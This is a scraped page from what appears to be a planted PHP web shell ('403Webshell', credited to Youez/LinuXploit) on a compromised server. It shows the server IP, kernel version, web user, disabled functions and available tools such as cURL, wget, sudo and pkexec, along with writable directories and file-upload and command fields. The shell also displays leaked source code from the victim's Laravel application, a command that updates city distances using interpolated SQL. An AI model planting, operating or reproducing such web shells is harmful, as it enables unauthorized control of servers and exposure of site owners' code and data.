403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Console/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Console/Commands/AtualizaCidadeDistancia.php
<?php

namespace App\Console\Commands;

use Symfony\Component\Console\Output\ConsoleOutput;
use Symfony\Component\Console\Helper\ProgressBar;

use Illuminate\Console\Command;
use App\Modules\CadastroConsumo\Models\CadastroConsumo;
use App\Modules\CidadeDistancia\Models\CidadeDistancia;
use App\Modules\CadastroEndereco\Models\CadastroEndereco;
use App\Modules\Cidade\Models\Cidade;
use App\Services\GeralService;
use App\Services\ConsumoService;
use Illuminate\Support\Facades\Log;
use DB;

class AtualizaCidadeDistancia extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'atualiza_distancia_cidade';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Atualiza Distância entre Cidades x Endereços';

    protected $cidade_id_origem = 4305108;

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
        $this->output = new ConsoleOutput;
    }

    /**
     * Execute the console command.
     *
     * @return mixed
     */
    public function handle()
    {
        $this->info(date('d/m/Y H:i:s') . " - START");

        $destinos     = ConsumoService::buscarCidadesEnderecos();
        $total        = count($destinos);
        $progressBar  = new ProgressBar($this->output, count($destinos));
        $CidadeOrigem = Cidade::where('id', $this->cidade_id_origem)->first();

        foreach ($destinos as $destino){
            
            $created_at = date('Y-m-d H:i:s');

            //Calcular Distância Percorrida
            $km_percorrido = ConsumoService::calcularDistanciaCidades($CidadeOrigem, $destino->nome, $destino->estado_sigla);

            $sql = "INSERT INTO cidade_distancia (cidade_id_origem, cidade_id_destino, km_percorrido, created_at) VALUES ({$CidadeOrigem->id},{$destino->cidade_id},{$km_percorrido},'{$created_at}')";
            if(!is_numeric($km_percorrido)){
                Log::info($sql);
                continue;
            }
            DB::insert($sql);

            sleep(1);

            $progressBar->advance();

        }

        $sql = "UPDATE cadastro_endereco
                INNER JOIN cidade_distancia ON cidade_distancia.cidade_id_destino = cadastro_endereco.cidade_id
                SET cadastro_endereco.km_percorrido = cidade_distancia.km_percorrido 
                WHERE cadastro_endereco.cidade_id IS NOT NULL AND cadastro_endereco.km_percorrido=1";
        $result = DB::update($sql);
        Log::info("ENDEREÇOS ATUALIZADOS: " . json_encode($result));
        $this->info(date('d/m/Y H:i:s') . " - ATUALIZOU ENDEREÇOS");

        $progressBar->finish();

        $this->info("\n");

        $this->info(date('d/m/Y H:i:s') . " - DONE");

    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit